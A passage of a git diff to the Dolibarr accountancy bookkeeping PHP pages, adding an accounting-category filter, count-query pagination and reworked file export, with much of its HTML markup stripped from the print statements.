+ if ($mode == '_tmp') { + print load_fiche_titre($langs->trans("CreateMvts"), $backlink); + } else { + print load_fiche_titre($langs->trans("UpdateMvts"), $backlink); + } $head = array(); $h = 0; @@ -608,7 +612,7 @@ if ($action == 'create') { print dol_get_fiche_end(); - print '
      '; + print '
      '; print '
      '; @@ -617,6 +621,7 @@ if ($action == 'create') { if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); } else { + // List of movements print load_fiche_titre($langs->trans("ListeMvts"), '', ''); print '
      '; @@ -644,8 +649,8 @@ if ($action == 'create') { print_liste_field_titre("AccountAccountingShort"); print_liste_field_titre("SubledgerAccount"); print_liste_field_titre("LabelOperation"); - print_liste_field_titre("Debit", "", "", "", "", 'class="right"'); - print_liste_field_titre("Credit", "", "", "", "", 'class="right"'); + print_liste_field_titre("AccountingDebit", "", "", "", "", 'class="right"'); + print_liste_field_titre("AccountingCredit", "", "", "", "", 'class="right"'); if (empty($object->date_validation)) { print_liste_field_titre("Action", "", "", "", "", 'width="60"', "", "", 'center '); } else { @@ -664,14 +669,14 @@ if ($action == 'create') { } foreach ($object->linesmvt as $line) { - print ''; + print ''; $total_debit += $line->debit; $total_credit += $line->credit; if ($action == 'update' && $line->id == $id) { print ''; print ''; - print $formaccounting->select_account((GETPOSTISSET("accountingaccount_number") ? GETPOST("accountingaccount_number", "alpha") : $line->numero_compte), 'accountingaccount_number', 1, array(), 1, 1, ''); + print $formaccounting->select_account((GETPOSTISSET("accountingaccount_number") ? GETPOST("accountingaccount_number", "alpha") : $line->numero_compte), 'accountingaccount_number', 1, array(), 1, 1, 'minwidth200 maxwidth500'); print ''; print ''; // TODO For the moment we keep a free input text instead of a combo. The select_auxaccount has problem because: @@ -697,7 +702,7 @@ if ($action == 'create') { if ($action == "" || $action == 'add') { print ''; print ''; - print $formaccounting->select_account('', 'accountingaccount_number', 1, array(), 1, 1, ''); + print $formaccounting->select_account('', 'accountingaccount_number', 1, array(), 1, 1, 'minwidth200 maxwidth500'); print ''; print ''; // TODO For the moment we keep a free input text instead of a combo. The select_auxaccount has problem because: @@ -714,7 +719,7 @@ if ($action == 'create') { print ''; print ''; print ''; - print ''; + print ''; } } else { print ''; @@ -732,8 +737,8 @@ if ($action == 'create') { } print ''; print ''.$line->label_operation.''; - print ''.price($line->debit).''; - print ''.price($line->credit).''; + print ''.($line->debit != 0 ? price($line->debit) : '').''; + print ''.($line->credit != 0 ? price($line->credit) : '').''; print ''; if (empty($line->date_export) && empty($line->date_validation)) { diff --git a/htdocs/accountancy/bookkeeping/list.php b/htdocs/accountancy/bookkeeping/list.php index 642dca887b2..217474db0c9 100644 --- a/htdocs/accountancy/bookkeeping/list.php +++ b/htdocs/accountancy/bookkeeping/list.php @@ -2,8 +2,10 @@ /* Copyright (C) 2013-2016 Olivier Geffroy * Copyright (C) 2013-2016 Florian Henry * Copyright (C) 2013-2022 Alexandre Spangaro + * Copyright (C) 2022 Lionel Vessiller * Copyright (C) 2016-2017 Laurent Destailleur * Copyright (C) 2018-2021 Frédéric France + * Copyright (C) 2022 Progiseize * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -102,7 +104,9 @@ if (GETPOST("button_export_file_x") || GETPOST("button_export_file.x") || GETPOS $action = 'export_file'; } -$search_accountancy_code = GETPOST("search_accountancy_code"); +$search_account_category = GETPOST('search_account_category', 'int'); + +$search_accountancy_code = GETPOST("search_accountancy_code", 'alpha'); $search_accountancy_code_start = GETPOST('search_accountancy_code_start', 'alpha'); if ($search_accountancy_code_start == - 1) { $search_accountancy_code_start = ''; @@ -192,8 +196,8 @@ $arrayfields = array( 't.numero_compte'=>array('label'=>$langs->trans("AccountAccountingShort"), 'checked'=>1), 't.subledger_account'=>array('label'=>$langs->trans("SubledgerAccount"), 'checked'=>1), 't.label_operation'=>array('label'=>$langs->trans("Label"), 'checked'=>1), - 't.debit'=>array('label'=>$langs->trans("Debit"), 'checked'=>1), - 't.credit'=>array('label'=>$langs->trans("Credit"), 'checked'=>1), + 't.debit'=>array('label'=>$langs->trans("AccountingDebit"), 'checked'=>1), + 't.credit'=>array('label'=>$langs->trans("AccountingCredit"), 'checked'=>1), 't.lettering_code'=>array('label'=>$langs->trans("LetteringCode"), 'checked'=>1), 't.date_creation'=>array('label'=>$langs->trans("DateCreation"), 'checked'=>0), 't.tms'=>array('label'=>$langs->trans("DateModification"), 'checked'=>0), @@ -253,6 +257,7 @@ if (empty($reshook)) { $search_doc_type = ''; $search_doc_ref = ''; $search_doc_date = ''; + $search_account_category = ''; $search_accountancy_code = ''; $search_accountancy_code_start = ''; $search_accountancy_code_end = ''; @@ -335,6 +340,20 @@ if (empty($reshook)) { $filter['t.doc_ref'] = $search_doc_ref; $param .= '&search_doc_ref='.urlencode($search_doc_ref); } + if ($search_account_category != '-1' && !empty($search_account_category)) { + require_once DOL_DOCUMENT_ROOT.'/accountancy/class/accountancycategory.class.php'; + $accountingcategory = new AccountancyCategory($db); + + $listofaccountsforgroup = $accountingcategory->getCptsCat(0, 'fk_accounting_category = '.((int) $search_account_category)); + $listofaccountsforgroup2 = array(); + if (is_array($listofaccountsforgroup)) { + foreach ($listofaccountsforgroup as $tmpval) { + $listofaccountsforgroup2[] = "'".$db->escape($tmpval['id'])."'"; + } + } + $filter['t.search_accounting_code_in'] = join(',', $listofaccountsforgroup2); + $param .= '&search_account_category='.urlencode($search_account_category); + } if (!empty($search_accountancy_code)) { $filter['t.numero_compte'] = $search_accountancy_code; $param .= '&search_accountancy_code='.urlencode($search_accountancy_code); @@ -347,6 +366,10 @@ if (empty($reshook)) { $filter['t.numero_compte<='] = $search_accountancy_code_end; $param .= '&search_accountancy_code_end='.urlencode($search_accountancy_code_end); } + if (!empty($search_accountancy_aux_code)) { + $filter['t.subledger_account'] = $search_accountancy_aux_code; + $param .= '&search_accountancy_aux_code='.urlencode($search_accountancy_aux_code); + } if (!empty($search_accountancy_aux_code_start)) { $filter['t.subledger_account>='] = $search_accountancy_aux_code_start; $param .= '&search_accountancy_aux_code_start='.urlencode($search_accountancy_aux_code_start); @@ -470,7 +493,7 @@ if (empty($reshook)) { if ($conf->global->ACCOUNTING_REEXPORT == 1) { setEventMessages($langs->trans("ExportOfPiecesAlreadyExportedIsEnable"), null, 'mesgs'); } else { - setEventMessages($langs->trans("ExportOfPiecesAlreadyExportedIsDisable"), null, 'mesgs'); + setEventMessages($langs->trans("ExportOfPiecesAlreadyExportedIsDisable"), null, 'warnings'); } } else { setEventMessages($langs->trans("Error"), null, 'errors'); @@ -482,7 +505,7 @@ if (empty($reshook)) { $objectlabel = 'Bookkeeping'; $permissiontoread = $user->hasRight('societe', 'lire'); $permissiontodelete = $user->hasRight('societe', 'supprimer'); - $permissiontoadd = $user->rights->societe->creer; + $permissiontoadd = $user->hasRight('societe', 'creer'); $uploaddir = $conf->societe->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; @@ -638,6 +661,9 @@ $sql .= " t.tms as date_modification,"; $sql .= " t.date_export,"; $sql .= " t.date_validated as date_validation,"; $sql .= " t.import_key"; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= ' FROM '.MAIN_DB_PREFIX.$object->table_element.' as t'; // Manage filter $sqlwhere = array(); @@ -668,7 +694,13 @@ if (count($filter) > 0) { } elseif ($key == 't.reconciled_option') { $sqlwhere[] = 't.lettering_code IS NULL'; } elseif ($key == 't.code_journal' && !empty($value)) { - $sqlwhere[] = natural_search("t.code_journal", join(',', $value), 3, 1); + if (is_array($value)) { + $sqlwhere[] = natural_search("t.code_journal", join(',', $value), 3, 1); + } else { + $sqlwhere[] = natural_search("t.code_journal", $value, 3, 1); + } + } elseif ($key == 't.search_accounting_code_in' && !empty($value)) { + $sqlwhere[] = 't.numero_compte IN ('.$db->sanitize($value, 1).')'; } else { $sqlwhere[] = natural_search($key, $value, 0, 1); } @@ -681,16 +713,13 @@ if (empty($conf->global->ACCOUNTING_REEXPORT)) { if (count($sqlwhere) > 0) { $sql .= ' AND '.implode(' AND ', $sqlwhere); } -if (!empty($sortfield)) { - $sql .= $db->order($sortfield, $sortorder); -} //print $sql; // Export into a file with format defined into setup (FEC, CSV, ...) // Must be after definition of $sql if ($action == 'export_fileconfirm' && $user->hasRight('accounting', 'mouvements', 'export')) { - // TODO Replace the fetchAll to get all ->line followed by call to ->export(). It consumes too much memory on large export. + // TODO Replace the fetchAll to get all ->line followed by call to ->export(). It currently consumes too much memory on large export. // Replace this with the query($sql) and loop on each line to export them. $result = $object->fetchAll($sortorder, $sortfield, 0, 0, $filter, 'AND', (empty($conf->global->ACCOUNTING_REEXPORT) ? 0 : 1)); @@ -700,6 +729,7 @@ if ($action == 'export_fileconfirm' && $user->hasRight('accounting', 'mouvements // Export files then exit $accountancyexport = new AccountancyExport($db); + $formatexport = GETPOST('formatexport', 'int'); $notexportlettering = GETPOST('notexportlettering', 'alpha'); if (!empty($notexportlettering)) { @@ -711,58 +741,65 @@ if ($action == 'export_fileconfirm' && $user->hasRight('accounting', 'mouvements } } - $mimetype = $accountancyexport->getMimeType($formatexportset); - - top_httphead($mimetype, 1); - - // Output data on screen - $accountancyexport->export($object->lines, $formatexportset); - $notifiedexportdate = GETPOST('notifiedexportdate', 'alpha'); $notifiedvalidationdate = GETPOST('notifiedvalidationdate', 'alpha'); + $withAttachment = !empty(trim(GETPOST('notifiedexportfull', 'alphanohtml'))) ? 1 : 0; - if (!empty($accountancyexport->errors)) { - dol_print_error('', '', $accountancyexport->errors); - } elseif (!empty($notifiedexportdate) || !empty($notifiedvalidationdate)) { - // Specify as export : update field date_export or date_validated - $error = 0; - $db->begin(); - - if (is_array($object->lines)) { - foreach ($object->lines as $movement) { - $now = dol_now(); - - $sql = " UPDATE ".MAIN_DB_PREFIX."accounting_bookkeeping"; - $sql .= " SET"; - if (!empty($notifiedexportdate) && !empty($notifiedvalidationdate)) { - $sql .= " date_export = '".$db->idate($now)."'"; - $sql .= ", date_validated = '".$db->idate($now)."'"; - } elseif (!empty($notifiedexportdate)) { - $sql .= " date_export = '".$db->idate($now)."'"; - } elseif (!empty($notifiedvalidationdate)) { - $sql .= " date_validated = '".$db->idate($now)."'"; - } - $sql .= " WHERE rowid = ".((int) $movement->id); + // Output data on screen or download + $result = $accountancyexport->export($object->lines, $formatexport, $withAttachment); + $error = 0; + if ($result < 0) { + $error++; + } else { + if (!empty($notifiedexportdate) || !empty($notifiedvalidationdate)) { + if (is_array($object->lines)) { dol_syslog("/accountancy/bookkeeping/list.php Function export_file Specify movements as exported", LOG_DEBUG); - $result = $db->query($sql); - if (!$result) { + // Specify as export : update field date_export or date_validated + $db->begin(); + + // TODO Merge update for each line into one gloacl using rowid IN (list of movement ids) + foreach ($object->lines as $movement) { + $now = dol_now(); + + $setfields = ''; + if (!empty($notifiedexportdate) && empty($movement->date_export)) { + $setfields .= ($setfields ? "," : "")." date_export = '".$db->idate($now)."'"; + } + if (!empty($notifiedvalidationdate) && empty($movement->date_validation)) { + $setfields .= ($setfields ? "," : "")." date_validated = '".$db->idate($now)."'"; + } + + if ($setfields) { + $sql = " UPDATE ".MAIN_DB_PREFIX."accounting_bookkeeping"; + $sql .= " SET ".$setfields; + $sql .= " WHERE rowid = ".((int) $movement->id); + + $result = $db->query($sql); + if (!$result) { + $error++; + break; + } + } + } + + if (!$error) { + $db->commit(); + } else { $error++; - break; + $accountancyexport->errors[] = $langs->trans('NotAllExportedMovementsCouldBeRecordedAsExportedOrValidated'); + $db->rollback(); } } } - - if (!$error) { - $db->commit(); - } else { - $error++; - $db->rollback(); - dol_print_error('', $langs->trans("NotAllExportedMovementsCouldBeRecordedAsExportedOrValidated")); - } } - exit; + + if ($error) { + setEventMessages('', $accountancyexport->errors, 'errors'); + header('Location: '.$_SERVER['PHP_SELF']); + } + exit(); // download or show errors } } @@ -779,28 +816,38 @@ $title_page = $langs->trans("Operations").' - '.$langs->trans("Journals"); // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -// if total of record found is smaller than limit, no need to do paging and to restart another select with limits set. -if (is_numeric($nbtotalofrecords) && $limit > $nbtotalofrecords) { - $num = $nbtotalofrecords; -} else { + +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { $sql .= $db->plimit($limit + 1, $offset); - - $resql = $db->query($sql); - if (!$resql) { - dol_print_error($db); - exit; - } - - $num = $db->num_rows($resql); } +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} + +$num = $db->num_rows($resql); + $arrayofselected = is_array($toselect) ? $toselect : array(); // Output page @@ -813,6 +860,17 @@ $formconfirm = ''; if ($action == 'export_file') { $form_question = array(); + $form_question['formatexport'] = array( + 'name' => 'formatexport', + 'type' => 'select', + 'label' => $langs->trans('Modelcsv'), // TODO Use Selectmodelcsv and show a select combo + 'values' => $listofformat, + 'default' => $formatexportset, + 'morecss' => 'minwidth200 maxwidth200' + ); + + $form_question['separator0'] = array('name'=>'separator0', 'type'=>'separator'); + if (getDolGlobalInt("ACCOUNTING_ENABLE_LETTERING")) { // If 1, we check by default. $checked = !empty($conf->global->ACCOUNTING_DEFAULT_NOT_EXPORT_LETTERING) ? 'true' : 'false'; @@ -823,7 +881,7 @@ if ($action == 'export_file') { 'value' => $checked, ); - $form_question['separator'] = array('name'=>'separator', 'type'=>'separator'); + $form_question['separator1'] = array('name'=>'separator1', 'type'=>'separator'); } // If 1 or not set, we check by default. @@ -850,7 +908,17 @@ if ($action == 'export_file') { $form_question['separator3'] = array('name'=>'separator3', 'type'=>'separator'); } - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?'.$param, $langs->trans("ExportFilteredList").' ('.$listofformat[$formatexportset].')', $langs->trans('ConfirmExportFile'), 'export_fileconfirm', $form_question, '', 1, 350, 600); + // add documents in an archive for accountancy export (Quadratus) + if (getDolGlobalString('ACCOUNTING_EXPORT_MODELCSV') == AccountancyExport::$EXPORT_TYPE_QUADRATUS) { + $form_question['notifiedexportfull'] = array( + 'name' => 'notifiedexportfull', + 'type' => 'checkbox', + 'label' => $langs->trans('NotifiedExportFull'), + 'value' => 'false', + ); + } + + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?'.$param, $langs->trans("ExportFilteredList").'...', $langs->trans('ConfirmExportFile'), 'export_fileconfirm', $form_question, '', 1, 420, 600); } //if ($action == 'delbookkeepingyear') { @@ -938,19 +1006,28 @@ if (count($filter)) { $buttonLabel = $langs->trans("ExportList"); } -$parameters = array(); +$parameters = array('param' => $param); $reshook = $hookmanager->executeHooks('addMoreActionsButtonsList', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +$newcardbutton = empty($hookmanager->resPrint) ? '' : $hookmanager->resPrint; + if (empty($reshook)) { // Button re-export if (!empty($conf->global->ACCOUNTING_REEXPORT)) { - $newcardbutton = ''.img_picto($langs->trans("Activated"), 'switch_on').' '; + $newcardbutton .= ''.img_picto($langs->trans("ClickToHideAlreadyExportedLines"), 'switch_off', 'class="small size15x valignmiddle"'); + $newcardbutton .= ''.$langs->trans("ClickToHideAlreadyExportedLines").''; + $newcardbutton .= ''; } else { - $newcardbutton = ''.img_picto($langs->trans("Disabled"), 'switch_off').' '; + $newcardbutton .= ''.img_picto($langs->trans("DocsAlreadyExportedAreExcluded"), 'switch_on', 'class="warning size15x valignmiddle"'); + $newcardbutton .= ''.$langs->trans("DocsAlreadyExportedAreExcluded").''; + $newcardbutton .= ''; } - $newcardbutton .= ''.$langs->trans("IncludeDocsAlreadyExported").''; if ($user->hasRight('accounting', 'mouvements', 'export')) { - $newcardbutton .= dolGetButtonTitle($buttonLabel, $langs->trans("ExportFilteredList").' ('.$listofformat[$formatexportset].')', 'fa fa-file-export paddingleft', $_SERVER["PHP_SELF"].'?action=export_file&token='.newToken().($param ? '&'.$param : ''), $user->hasRight('accounting', 'mouvements', 'export')); + $newcardbutton .= dolGetButtonTitle($buttonLabel, $langs->trans("ExportFilteredList").' ('.$listofformat[$formatexportset].')', 'fa fa-file-export paddingleft', $_SERVER["PHP_SELF"].'?action=export_file&token='.newToken().($param ? '&'.$param : '').'&sortfield='.urlencode($sortfield).'&sortorder='.urlencode($sortorder), $user->hasRight('accounting', 'mouvements', 'export')); } $newcardbutton .= dolGetButtonTitle($langs->trans('ViewFlatList'), '', 'fa fa-list paddingleft imgforviewmode', DOL_URL_ROOT.'/accountancy/bookkeeping/list.php?'.$param, '', 1, array('morecss' => 'marginleftonly btnTitleSelected')); @@ -981,27 +1058,43 @@ if ($massaction == 'preunletteringauto') { include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields if ($massactionbutton && $contextpage != 'poslist') { $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); } $moreforfilter = ''; +$moreforfilter .= '
      '; +$moreforfilter .= $langs->trans('AccountingCategory').': '; +$moreforfilter .= '
      '; +$moreforfilter .= $formaccounting->select_accounting_category($search_account_category, 'search_account_category', 1, 0, 0, 0); +$moreforfilter .= '
      '; +$moreforfilter .= '
      '; $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook if (empty($reshook)) { $moreforfilter .= $hookmanager->resPrint; } else { $moreforfilter = $hookmanager->resPrint; } +print '
      '; +print $moreforfilter; +print '
      '; + print '
      '; -print ''; +print '
      '; // Filters lines print ''; - +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} // Movement number if (!empty($arrayfields['t.piece_num']['checked'])) { print ''; @@ -1137,13 +1230,17 @@ if (!empty($arrayfields['t.import_key']['checked'])) { print ''; } // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print "\n"; print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch actioncolumn ');} if (!empty($arrayfields['t.piece_num']['checked'])) { print_liste_field_titre($arrayfields['t.piece_num']['label'], $_SERVER['PHP_SELF'], "t.piece_num", "", $param, "", $sortfield, $sortorder); } @@ -1193,7 +1290,9 @@ if (!empty($arrayfields['t.date_validated']['checked'])) { if (!empty($arrayfields['t.import_key']['checked'])) { print_liste_field_titre($arrayfields['t.import_key']['label'], $_SERVER["PHP_SELF"], "t.import_key", "", $param, '', $sortfield, $sortorder, 'center '); } -print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +} print "\n"; @@ -1248,6 +1347,21 @@ while ($i < min($num, $limit)) { $total_credit += $line->credit; print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } // Piece number if (!empty($arrayfields['t.piece_num']['checked'])) { @@ -1266,7 +1380,7 @@ while ($i < min($num, $limit)) { $accountingjournal = new AccountingJournal($db); $result = $accountingjournal->fetch('', $line->code_journal); $journaltoshow = (($result > 0) ? $accountingjournal->getNomUrl(0, 0, 0, '', 0) : $line->code_journal); - print ''; + print ''; if (!$i) { $totalarray['nbfield']++; } @@ -1414,7 +1528,7 @@ while ($i < min($num, $limit)) { // Creation operation date if (!empty($arrayfields['t.date_creation']['checked'])) { - print ''; + print ''; if (!$i) { $totalarray['nbfield']++; } @@ -1422,7 +1536,7 @@ while ($i < min($num, $limit)) { // Modification operation date if (!empty($arrayfields['t.tms']['checked'])) { - print ''; + print ''; if (!$i) { $totalarray['nbfield']++; } @@ -1430,7 +1544,7 @@ while ($i < min($num, $limit)) { // Exported operation date if (!empty($arrayfields['t.date_export']['checked'])) { - print ''; + print ''; if (!$i) { $totalarray['nbfield']++; } @@ -1438,7 +1552,7 @@ while ($i < min($num, $limit)) { // Validated operation date if (!empty($arrayfields['t.date_validated']['checked'])) { - print ''; + print ''; if (!$i) { $totalarray['nbfield']++; } @@ -1452,19 +1566,21 @@ while ($i < min($num, $limit)) { } // Action column - print ''; + if (!$i) { + $totalarray['nbfield']++; } - print ''; } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } print "\n"; @@ -1474,6 +1590,20 @@ while ($i < min($num, $limit)) { // Show total line include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; +// If no record found +if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print ''; +} + +$parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; print "
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; + if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($line->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''.$journaltoshow.''.$journaltoshow.''.dol_print_date($line->date_creation, 'dayhour').''.dol_print_date($line->date_creation, 'dayhour', 'tzuserrel').''.dol_print_date($line->date_modification, 'dayhour').''.dol_print_date($line->date_modification, 'dayhour', 'tzuserrel').''.dol_print_date($line->date_export, 'dayhour').''.dol_print_date($line->date_export, 'dayhour', 'tzuserrel').''.dol_print_date($line->date_validation, 'dayhour').''.dol_print_date($line->date_validation, 'dayhour', 'tzuserrel').''; - if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($line->id, $arrayofselected)) { - $selected = 1; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (($massactionbutton || $massaction) && $contextpage != 'poslist') { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($line->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      "; print '
      '; @@ -1489,4 +1619,5 @@ print ''; // End of page llxFooter(); + $db->close(); diff --git a/htdocs/accountancy/bookkeeping/listbyaccount.php b/htdocs/accountancy/bookkeeping/listbyaccount.php index 7ab6666d4c4..419369fe9d3 100644 --- a/htdocs/accountancy/bookkeeping/listbyaccount.php +++ b/htdocs/accountancy/bookkeeping/listbyaccount.php @@ -79,7 +79,8 @@ $search_date_validation_start = dol_mktime(0, 0, 0, $search_date_validation_star $search_date_validation_end = dol_mktime(23, 59, 59, $search_date_validation_endmonth, $search_date_validation_endday, $search_date_validation_endyear); $search_import_key = GETPOST("search_import_key", 'alpha'); -$search_accountancy_code = GETPOST("search_accountancy_code"); +$search_account_category = GETPOST('search_account_category', 'int'); + $search_accountancy_code_start = GETPOST('search_accountancy_code_start', 'alpha'); if ($search_accountancy_code_start == - 1) { $search_accountancy_code_start = ''; @@ -163,8 +164,8 @@ $arrayfields = array( 't.doc_date'=>array('label'=>$langs->trans("Docdate"), 'checked'=>1), 't.doc_ref'=>array('label'=>$langs->trans("Piece"), 'checked'=>1), 't.label_operation'=>array('label'=>$langs->trans("Label"), 'checked'=>1), - 't.debit'=>array('label'=>$langs->trans("Debit"), 'checked'=>1), - 't.credit'=>array('label'=>$langs->trans("Credit"), 'checked'=>1), + 't.debit'=>array('label'=>$langs->trans("AccountingDebit"), 'checked'=>1), + 't.credit'=>array('label'=>$langs->trans("AccountingCredit"), 'checked'=>1), 't.lettering_code'=>array('label'=>$langs->trans("LetteringCode"), 'checked'=>1), 't.date_export'=>array('label'=>$langs->trans("DateExport"), 'checked'=>1), 't.date_validated'=>array('label'=>$langs->trans("DateValidation"), 'checked'=>1, 'enabled'=>!getDolGlobalString("ACCOUNTANCY_DISABLE_CLOSURE_LINE_BY_LINE")), @@ -198,6 +199,8 @@ if (!$user->hasRight('accounting', 'mouvements', 'lire')) { accessforbidden(); } +$error = 0; + /* * Action @@ -224,7 +227,7 @@ if (empty($reshook)) { if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers $search_doc_date = ''; - $search_accountancy_code = ''; + $search_account_category = ''; $search_accountancy_code_start = ''; $search_accountancy_code_end = ''; $search_label_account = ''; @@ -280,6 +283,20 @@ if (empty($reshook)) { $filter['t.doc_date'] = $search_doc_date; $param .= '&doc_datemonth='.GETPOST('doc_datemonth', 'int').'&doc_dateday='.GETPOST('doc_dateday', 'int').'&doc_dateyear='.GETPOST('doc_dateyear', 'int'); } + if ($search_account_category != '-1' && !empty($search_account_category)) { + require_once DOL_DOCUMENT_ROOT.'/accountancy/class/accountancycategory.class.php'; + $accountingcategory = new AccountancyCategory($db); + + $listofaccountsforgroup = $accountingcategory->getCptsCat(0, 'fk_accounting_category = '.((int) $search_account_category)); + $listofaccountsforgroup2 = array(); + if (is_array($listofaccountsforgroup)) { + foreach ($listofaccountsforgroup as $tmpval) { + $listofaccountsforgroup2[] = "'".$db->escape($tmpval['id'])."'"; + } + } + $filter['t.search_accounting_code_in'] = join(',', $listofaccountsforgroup2); + $param .= '&search_account_category='.urlencode($search_account_category); + } if (!empty($search_accountancy_code_start)) { if ($type == 'sub') { $filter['t.subledger_account>='] = $search_accountancy_code_start; @@ -358,7 +375,6 @@ if (empty($reshook)) { $filter['t.import_key'] = $search_import_key; $param .= '&search_import_key='.urlencode($search_import_key); } - // param with type of list $url_param = substr($param, 1); // remove first "&" if (!empty($type)) { @@ -397,7 +413,7 @@ if (empty($reshook)) { $objectlabel = 'Bookkeeping'; $permissiontoread = $user->hasRight('societe', 'lire'); $permissiontodelete = $user->hasRight('societe', 'supprimer'); - $permissiontoadd = $user->rights->societe->creer; + $permissiontoadd = $user->hasRight('societe', 'creer'); $uploaddir = $conf->societe->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; @@ -544,25 +560,29 @@ llxHeader('', $title_page); // List $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + // TODO Perf Replace this by a count if ($type == 'sub') { - $nbtotalofrecords = $object->fetchAllByAccount($sortorder, $sortfield, 0, 0, $filter, 'AND', 1); + $nbtotalofrecords = $object->fetchAllByAccount($sortorder, $sortfield, 0, 0, $filter, 'AND', 1, 1); } else { - $nbtotalofrecords = $object->fetchAllByAccount($sortorder, $sortfield, 0, 0, $filter); + $nbtotalofrecords = $object->fetchAllByAccount($sortorder, $sortfield, 0, 0, $filter, 'AND', 0, 1); } if ($nbtotalofrecords < 0) { setEventMessages($object->error, $object->errors, 'errors'); + $error++; } } -if ($type == 'sub') { - $result = $object->fetchAllByAccount($sortorder, $sortfield, $limit, $offset, $filter, 'AND', 1); -} else { - $result = $object->fetchAllByAccount($sortorder, $sortfield, $limit, $offset, $filter); -} +if (!$error) { + if ($type == 'sub') { + $result = $object->fetchAllByAccount($sortorder, $sortfield, $limit, $offset, $filter, 'AND', 1); + } else { + $result = $object->fetchAllByAccount($sortorder, $sortfield, $limit, $offset, $filter, 'AND', 0); + } -if ($result < 0) { - setEventMessages($object->error, $object->errors, 'errors'); + if ($result < 0) { + setEventMessages($object->error, $object->errors, 'errors'); + } } $arrayofselected = is_array($toselect) ? $toselect : array(); @@ -642,8 +662,14 @@ print ''; print ''; print ''; -$parameters = array(); +$parameters = array('param' => $param); $reshook = $hookmanager->executeHooks('addMoreActionsButtonsList', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +$newcardbutton = empty($hookmanager->resPrint) ? '' : $hookmanager->resPrint; + if (empty($reshook)) { $newcardbutton = dolGetButtonTitle($langs->trans('ViewFlatList'), '', 'fa fa-list paddingleft imgforviewmode', DOL_URL_ROOT.'/accountancy/bookkeeping/list.php?'.$param); if ($type == 'sub') 